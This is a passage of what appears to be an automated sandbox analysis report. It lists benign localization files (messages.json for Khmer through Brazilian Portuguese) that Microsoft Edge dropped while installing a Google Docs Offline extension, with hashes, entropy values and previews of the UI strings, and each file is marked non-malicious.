\u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7708_128371501\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
